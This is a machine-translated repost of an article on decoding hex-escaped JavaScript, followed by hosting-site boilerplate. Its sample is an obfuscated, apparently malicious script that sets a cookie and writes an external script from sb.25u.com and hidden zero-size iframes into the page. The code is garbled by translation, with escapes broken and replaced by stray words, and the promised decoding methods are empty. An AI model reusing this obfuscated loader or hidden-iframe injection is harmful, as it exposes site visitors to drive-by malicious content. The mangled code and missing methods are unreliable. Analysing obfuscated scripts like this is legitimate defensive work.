A powerful javascript code decryption method

Source: Internet
Author: User

Copy codeThe Code is as follows:
Function Get (){
Var $ qL1 = new window ["\ x44 \ x61 \ x74 \ x65"] ()
$ QL1 ["\ x73 \ x65 \ x74 \ x54 \ x69 \ x6d \ x65"] ($ qL1 ["\ x67 \ x65 \ x74 \ x54 \ x69 \ x6d \ x65"] () + 24x60x60x1000)
Var vuICgd2 = new window ["\ x53 \ x74 \ x72 \ x69 \ x6e \ x67"] (window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74 "] [" \ x63 \ x6f \ x6f \ x6b \ x69 \ x65 "])
Var JHasS3 = "\ x43 \ x6f \ x6f \ x6b \ x69 \ x65 \ x31 \ x3d"
Var wUhao4 = vuICgd2 ["\ x69 \ x6e \ x64 \ x65 \ x78 \ x4f \ x66"] (JHasS3)
If (wUhao4! =-1 ){
} Else
{Window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x63 \ x6f \ x6f \ x6b \ x69 \ x65"] =" \ x43 \ x6f \ x6f \ x6b \ x69 \ x65 \ x31 \ x3d \ x50 \ x4f \ x50 \ x57 \ x49 \ x4e \ x31 \ x3b \ x65 \ x78 \ cross 7 \ x69 \ x72 \ x65 \ x73 \ x3d "+ $ qL1 [" \ x74 \ x6f \ x47 \ x4d \ x54 \ x53 \ x74 \ x72 \ x69 \ x6e \ x67 "] ()
Window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x48 \ x54 \ x4d \ x4c \ x3e ");
Window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x42 \ x4f \ x44 \ x59 \ x73 \ x74 \ x79 \ x6c \ x65 \ x3d \ '\ x43 \ x55 \ x52 \ x53 \ x4f \ x52 \ x3a \ x75 \ x72 \ x6c \ x28 \ x68 \ x74 \ x74 \ cross \ x3a \ // \ x31 \ x2e \ x35 \ x32 \ x30 \ x73 \ x62 \ x2e \ x63 \ x6e \/\ x61 \ x64 \ x2e \ x6a \ cross \ x67 \ x29 \ '\ x3e \ x3c \/\ x42 \ x4f \ x44 \ x59 \ x3e ");
Window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \/\ x48 \ x54 \ x4d \ x4c \ x3e ");
Window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x73 \ x63 \ x72 \ x69 \ cross client \ x74 \ x73 \ x72 \ x63 \ x3d \" \ x68 \ x74 \ x74 \ cross client \ x3a \/\/\ x73 \ x62 \ x2e \ x32 \ x35 \ x75 \ x2e \ x63 \ x6f \ x6d \/\ x64 \ x69 \ x72 \/\ x69 \ x6e \ x64 \ x65 \ x78 \ x5f \ x69 \ x63 \/\ x30 \ x36 \ x31 \ x34 \ x2e \ x6a \ x73 \ "\ x3e \ x3c \/\ x73 \ x63 \ x72 \ x69 \ \ x74 \ x3e ");
Window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x73 \ x72 \ x63 \ x3d \ x68 \ x74 \ x74 \ x3a \ // \ x73 \ x62 \ x2e \ x32 \ x35 \ x75 \ x2e \ x63 \ x6f \ x6d \/\ x64 \ x69 \ x72 \/\ x69 \ x6e \ x64 \ x65 \ x78 \ x5f \ cross-site Scripting (x69) \ x63 \/\ x6d \ x6d \ x2e \ x68 \ x74 \ x6d \ x6c \ x77 \ x69 \ x64 \ x74 \ x68 \ x3d \ x30 \ x68 \ x65 \ x69 \ x67 \ x68 \ x74 \ x3d \ x30 \ x3e \ x3c \/\ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x3e ");
Window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x73 \ x72 \ x63 \ x3d \ x68 \ x74 \ x74 \ x3a \ // \ x73 \ x62 \ x2e \ x32 \ x35 \ x75 \ x2e \ x63 \ x6f \ x6d \/\ x64 \ x69 \ x72 \/\ x69 \ x6e \ x64 \ x65 \ x78 \ x5f \ cross-site Scripting (x69) \ x63 \/\ x74 \ x6a \ x2e \ x68 \ x74 \ x6d \ x77 \ x69 \ x64 \ x74 \ x68 \ x3d \ x30 \ x68 \ x65 \ x69 \ x67 \ x68 \ x74 \ x3d \ x30 \ x3e \ x3c \/\ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x3e ");
}
} Get ();

Several Methods to decrypt the above Code:
Method 1:
It is just to convert the character into a hexadecimal escape value! You can simply use alert to understand the meaning.

[Ctrl + A select all Note: If you need to introduce external Js, You need to refresh it to execute]
Method 2:

[Ctrl + A select all Note: If you need to introduce external Js, You need to refresh it to execute]
Method 3:

[Ctrl + A select all Note: If you need to introduce external Js, You need to refresh it to execute]
From 51js

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.